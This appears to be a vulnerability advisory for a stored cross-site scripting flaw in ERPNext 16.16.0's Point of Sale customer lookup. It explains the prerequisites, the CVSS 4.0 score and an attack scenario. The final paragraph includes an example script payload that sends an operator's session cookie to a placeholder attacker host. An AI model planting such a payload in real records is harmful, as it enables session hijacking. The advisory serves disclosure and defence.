ERPNext EUVD-2026-34157

Exploitation requires an authenticated ERPNext account with write access to Customer records - specifically permission to modify the email_id or mobile_no fields (confirmed by PR:L in the CVSS 4.0 vector). The vulnerability is triggered in the Point of Sale (POS) module specifically: payload execution occurs only when a POS operator selects the poisoned customer during a transaction, meaning at least one POS operator session must interact with that customer record (UI:P). The affected deployment must be running ERPNext version 16.16.0 and have the POS module active with the standard Customer lookup enabled. Limiting factors include: the attacker cannot be anonymous - a valid ERPNext login with Customer write permissions is mandatory; the payload does not execute server-side or via direct URL access - it requires the POS operator to perform the customer selection UI action; and the impact is scoped to the operator's browser session (no server compromise or availability impact). There is no requirement for a non-default configuration beyond having the POS module in use, which is standard for retail and front-desk ERPNext deployments.

The CVSS 4.0 score of 5.1 (Medium) accurately reflects a constrained but realistic threat: the attack is network-accessible (AV:N), low complexity (AC:L), requires no special attack conditions (AT:N), but does demand a low-privileged authenticated account (PR:L) and passive user interaction from a POS operator (UI:P). Confidentiality and integrity impacts are rated Low on both the vulnerable system and downstream scope (VC:L/VI:L/SC:L/SI:L), with no availability impact. The stored nature of the XSS is the most significant real-world risk amplifier: the payload persists and fires for every operator who encounters the customer, whereas reflected XSS requires per-victim delivery. In environments with high POS transaction volume, a single injection could compromise many operator sessions. The primary attacker prerequisite - a valid account with Customer record write access - limits opportunistic exploitation but is plausible for insider threat, compromised low-privilege accounts, or overly permissive role assignments common in SMB ERP deployments. EPSS data is absent from available sources, and no KEV listing exists, indicating no confirmed widespread exploitation. The score is appropriate and should not be dismissed solely on its Medium classification given the persistence characteristic.

An authenticated ERPNext user with Customer record edit access - such as a sales clerk, data entry operator, or compromised low-privilege account - saves a payload such as <script>fetch('https://attacker.example/c?s='+document.cookie)</script> into the email_id field of a frequently used customer record. The next time any POS operator opens the POS interface and selects that customer to process a transaction, the script silently exfiltrates the operator's session cookie to an attacker-controlled endpoint, enabling session hijacking and unauthorized access to POS and ERPNext functions under the operator's identity. No public proof-of-concept code has been identified at time of analysis, though the attack requires only basic knowledge of browser-side JavaScript and HTTP.